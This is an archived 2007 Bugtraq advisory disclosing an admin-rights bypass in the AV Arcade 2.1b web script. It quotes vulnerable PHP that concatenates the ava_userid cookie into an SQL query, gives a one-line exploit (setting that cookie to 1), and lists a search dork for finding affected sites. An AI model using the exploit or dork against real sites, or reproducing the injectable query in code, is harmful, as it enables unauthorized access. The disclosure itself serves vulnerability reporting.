lists.openwall.net   lists  /  announce  john-users  owl-users  popa3d-users  /  xvendor  oss-security  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4 
Open Source and information security mailing list archives
 
Order Openwall GNU/*/Linux 2.0 on a CD with delivery worldwide
[<prev] [next>] [month] [year] [list]
Date: 2 Jul 2007 13:20:32 -0000
From: teh_lost_byte@...oo.com
To: bugtraq@...urityfocus.com
Subject: AV Arcade 2.1b (COOKIE[ava_userid]) Get Admin Rights

AV Arcade 2.1b (COOKIE[ava_userid]) Get Admin Rights

Web: AV Arcade 2.1b
Site : www.avscripts.net
Dork : "Powered By AV Arcade"

Author: Kw3rLn [ teh_lost_byte[at]YaHoO[d0t]Com ]
Romanian Security Team [Ethical Hacking] - hTTp://RSTZONE.nET

Vurnerable code: admin/index.php:
   $sql = mysql_query("SELECT * FROM ava_users WHERE id=".$_COOKIE['ava_userid']."");
   while($row = mysql_fetch_array($sql)){
   if ($row['admin'] == 1) {
   define( 'ADMIN_ACCESS', 1 );
   [...]

Exploit:

Set in your cookies: ava_userid = 1; and that`s all :p

GREETZ: all memberz of RST and milw0rm
//kw3rln [ http://rstzone.net ]
[EOF]

Hosted by DataForce ISP - Powered by Openwall GNU/*/Linux